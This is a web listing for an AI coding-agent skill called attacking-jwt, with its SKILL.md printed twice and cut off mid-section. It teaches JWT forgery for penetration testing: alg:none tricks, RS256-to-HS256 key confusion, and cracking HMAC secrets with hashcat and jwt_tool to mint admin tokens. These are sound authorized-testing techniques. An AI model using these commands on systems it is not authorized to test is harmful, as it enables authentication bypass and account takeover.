/attacking-jwt
Attack JSON Web Tokens by breaking the server's signature-verification decision — alg:none and its case variants, RS256-to-HS256 key confusion using the public key as an HMAC secret, weak HMAC secret cracking, jku/x5u/kid/jwk header injection, embedded-key self-signing, claim
$ npx -y skills add trilwu/secskills --skill attacking-jwt --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/attacking-jwt
Context preview
The summary Claude sees to decide when to auto-load this skill.
Attack JSON Web Tokens by breaking the server's signature-verification decision — alg:none and its case variants, RS256-to-HS256 key confusion using the public key as an HMAC secret, weak HMAC secret cracking, jku/x5u/kid/jwk header injection, embedded-key self-signing, claim
SKILL.md
attacking-jwt.SKILL.mdname: attacking-jwt
description: Attack JSON Web Tokens by breaking the server's signature-verification decision — alg:none and its case variants, RS256-to-HS256 key confusion using the public key as an HMAC secret, weak HMAC secret cracking, jku/x5u/kid/jwk header injection, embedded-key self-signing, claim tampering, and algorithm-confusion bugs like the ES256 psychic-signature CVE. Use when a request contains a token starting with eyJ, when an Authorization: Bearer header carries a JWT, or when a JWT sits in a cookie, localStorage, session storage, or query parameter.
verified: 2026-07-26
Attacking JWT
A JWT is not a credential you are meant to read — it is a signature-verification decision the server makes on bytes you control. Every field, including the `alg` header that tells the server *how* to check the signature, is attacker-supplied. The classic failures all come from the server trusting the token's own header to decide how to verify it, or from a secret weak enough to recover offline.
Only against systems you are authorized to test.
When to Use
- A request carries a token in three base64url parts joined by dots, typically
starting with `eyJ` (the encoded `{"` of the header)
- An `Authorization: Bearer <token>` header is present
- A session, `access_token`, `id_token`, or `remember-me` value lives in a
cookie, `localStorage`, `sessionStorage`, or a query parameter
- The application authenticates or authorizes based on a signed token rather
than a server-side session
- You control any claim (`sub`, `role`, `admin`, `aud`, `iss`) and want to see
whether the signature is actually enforced
When NOT to Use
- **The wider web-application methodology** — use `testing-web-applications`
- **API authentication and authorization generally** — use `testing-apis`
- **The cryptographic primitives themselves (HMAC, RSA, ECDSA design)** — use
`reviewing-cryptography`
- **The OAuth/OIDC flow that issues the token, redirect_uri and PKCE abuse** —
use `attacking-oauth-oidc`
- **Cloud IAM tokens (AWS STS, GCP, Azure AD access tokens) as an access
primitive** — use `exploiting-cloud-platforms`
Decode and Inspect First
A JWT is `header.payload.signature`, each part base64url (no padding, `-` and `_` instead of `+` and `/`). The first two parts are plaintext; only the signature is protected.
# jwt_tool: the fastest way to read a token and see every claim
python3 jwt_tool.py <token>
# By hand, no tools, no network
echo '<header>' | tr '_-' '/+' | base64 -d 2>/dev/null; echo
echo '<payload>' | tr '_-' '/+' | base64 -d 2>/dev/null; echo
Read the header offline. Use jwt.io only with a token you are willing to paste into a third-party site — for real engagement tokens, decode locally instead. Note the `alg`, the `kid`, and any `jku`/`x5u`/`jwk` header. Note whether `exp`, `iat`, and `nbf` are present, and what `iss`/`aud` expect. Every one of these is a lever below.
alg:none
If the server honours `alg: none`, it accepts an unsigned token. Strip the signature (keep the trailing dot) and tamper with the payload freely.
# jwt_tool: exploit alg:none in all case variants at once
python3 jwt_tool.py <token> -X a
Servers that blocklist the literal string `none` often miss case variants, because a case-insensitive compare was never applied. Try each:
none None NONE nOnE nonE NonE
The resulting token is `base64url(header).base64url(payload).` — header and payload changed, signature empty. Set `role`/`admin`/`sub` to what you want.
RS256 to HS256 Key Confusion
The highest-value JWT bug. The server verifies with a generic `verify(token, key)` that picks the algorithm from the token's own header. It was configured with an RSA **public** key for RS256. Switch the header to `HS256` and the server calls HMAC-SHA256 with that same key as the shared secret — and the RSA public key is not secret. Sign your forged token with it.
# jwt_tool automates the whole confusion once you have the public key (PEM)
python3 jwt_tool.py <token> -X k -pk public.pem
You need the public key in the exact PEM bytes the server holds. Get it from:
# 1. A published JWKS endpoint — convert the JWK to PEM
curl -s https://target/.well-known/jwks.json
curl -s https://target/jwks.json
# jwx (or jwt_tool's key tools) turns a JWK into PEM
jwx jwk format --output-format pem jwks.json
# 2. The TLS certificate, when the signing key reuses the web key pair
openssl s_client -connect target:443 </dev/null 2>/dev/null \
| openssl x509 -pubkey -noout > public.pem
# 3. Recover it from two tokens by RSA math when no key is published
# (rsa_sign2n derives n from two signatures and emits candidate PEMs)
python3 jwt_forgery.py <token1> <token2> # CVE-2017-11424; feed a candidate PEM into -X k above
The PEM must match byte-for-byte, including the trailing newline — a mismatch produces an invalid signature and a false negative. Try the key both with and without the final newline.
Weak HMAC Secret Cracking
For HS256/384/512 the signature is `HMAC(secret, header.payload)`. If the secret is a guessable string, recover it offline and then sign anything.
# hashcat mode 16500 is JWT-native — feed the whole token
hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 token.txt jwt.secrets.list -r rules/best64.rule
# jwt_tool dictionary attack
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
Try common and framework-default secrets first: `secret`, `secretkey`, `your-256-bit-secret`, `changeme`, `password`, the app name, and the `jwt.io` demo secret. Once cracked, forge with the recovered key:
python3 jwt_tool.py <token> -I -pc role -pv admin -S hs256 -p '<secret>'
A recovered signing secret is a full authentication bypass — report it as critical, not as "weak configuration."
jku and x5u Header Injection
`jku` (JWK Set URL) and `x5u` (X.509 URL) tell
Read more
name: attacking-jwt description: Attack JSON Web Tokens by breaking the server's signature-verification decision — alg:none and its case variants, RS256-to-HS256 key confusion using the public key as an HMAC secret, weak HMAC secret cracking, jku/x5u/kid/jwk header injection, embedded-key self-signing, claim tampering, and algorithm-confusion bugs like the ES256 psychic-signature CVE. Use when a request contains a token starting with eyJ, when an Authorization: Bearer header carries a JWT, or when a JWT sits in a cookie, localStorage, session storage, or query parameter. verified: 2026-07-26
Attacking JWT
A JWT is not a credential you are meant to read — it is a signature-verification decision the server makes on bytes you control. Every field, including the `alg` header that tells the server *how* to check the signature, is attacker-supplied. The classic failures all come from the server trusting the token's own header to decide how to verify it, or from a secret weak enough to recover offline.
Only against systems you are authorized to test.
When to Use
- A request carries a token in three base64url parts joined by dots, typically
starting with `eyJ` (the encoded `{"` of the header)
- An `Authorization: Bearer <token>` header is present
- A session, `access_token`, `id_token`, or `remember-me` value lives in a
cookie, `localStorage`, `sessionStorage`, or a query parameter
- The application authenticates or authorizes based on a signed token rather
than a server-side session
- You control any claim (`sub`, `role`, `admin`, `aud`, `iss`) and want to see
whether the signature is actually enforced
When NOT to Use
- **The wider web-application methodology** — use `testing-web-applications`
- **API authentication and authorization generally** — use `testing-apis`
- **The cryptographic primitives themselves (HMAC, RSA, ECDSA design)** — use
`reviewing-cryptography`
- **The OAuth/OIDC flow that issues the token, redirect_uri and PKCE abuse** —
use `attacking-oauth-oidc`
- **Cloud IAM tokens (AWS STS, GCP, Azure AD access tokens) as an access
primitive** — use `exploiting-cloud-platforms`
Decode and Inspect First
A JWT is `header.payload.signature`, each part base64url (no padding, `-` and `_` instead of `+` and `/`). The first two parts are plaintext; only the signature is protected.
# jwt_tool: the fastest way to read a token and see every claim python3 jwt_tool.py <token> # By hand, no tools, no network echo '<header>' | tr '_-' '/+' | base64 -d 2>/dev/null; echo echo '<payload>' | tr '_-' '/+' | base64 -d 2>/dev/null; echo
Read the header offline. Use jwt.io only with a token you are willing to paste into a third-party site — for real engagement tokens, decode locally instead. Note the `alg`, the `kid`, and any `jku`/`x5u`/`jwk` header. Note whether `exp`, `iat`, and `nbf` are present, and what `iss`/`aud` expect. Every one of these is a lever below.
alg:none
If the server honours `alg: none`, it accepts an unsigned token. Strip the signature (keep the trailing dot) and tamper with the payload freely.
# jwt_tool: exploit alg:none in all case variants at once python3 jwt_tool.py <token> -X a
Servers that blocklist the literal string `none` often miss case variants, because a case-insensitive compare was never applied. Try each:
none None NONE nOnE nonE NonE
The resulting token is `base64url(header).base64url(payload).` — header and payload changed, signature empty. Set `role`/`admin`/`sub` to what you want.
RS256 to HS256 Key Confusion
The highest-value JWT bug. The server verifies with a generic `verify(token, key)` that picks the algorithm from the token's own header. It was configured with an RSA **public** key for RS256. Switch the header to `HS256` and the server calls HMAC-SHA256 with that same key as the shared secret — and the RSA public key is not secret. Sign your forged token with it.
# jwt_tool automates the whole confusion once you have the public key (PEM) python3 jwt_tool.py <token> -X k -pk public.pem
You need the public key in the exact PEM bytes the server holds. Get it from:
# 1. A published JWKS endpoint — convert the JWK to PEM curl -s https://target/.well-known/jwks.json curl -s https://target/jwks.json # jwx (or jwt_tool's key tools) turns a JWK into PEM jwx jwk format --output-format pem jwks.json # 2. The TLS certificate, when the signing key reuses the web key pair openssl s_client -connect target:443 </dev/null 2>/dev/null \ | openssl x509 -pubkey -noout > public.pem # 3. Recover it from two tokens by RSA math when no key is published # (rsa_sign2n derives n from two signatures and emits candidate PEMs) python3 jwt_forgery.py <token1> <token2> # CVE-2017-11424; feed a candidate PEM into -X k above
The PEM must match byte-for-byte, including the trailing newline — a mismatch produces an invalid signature and a false negative. Try the key both with and without the final newline.
Weak HMAC Secret Cracking
For HS256/384/512 the signature is `HMAC(secret, header.payload)`. If the secret is a guessable string, recover it offline and then sign anything.
# hashcat mode 16500 is JWT-native — feed the whole token hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txt hashcat -a 0 -m 16500 token.txt jwt.secrets.list -r rules/best64.rule # jwt_tool dictionary attack python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
Try common and framework-default secrets first: `secret`, `secretkey`, `your-256-bit-secret`, `changeme`, `password`, the app name, and the `jwt.io` demo secret. Once cracked, forge with the recovered key:
python3 jwt_tool.py <token> -I -pc role -pv admin -S hs256 -p '<secret>'
A recovered signing secret is a full authentication bypass — report it as critical, not as "weak configuration."
jku and x5u Header Injection
`jku` (JWK Set URL) and `x5u` (X.509 URL) tell
**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

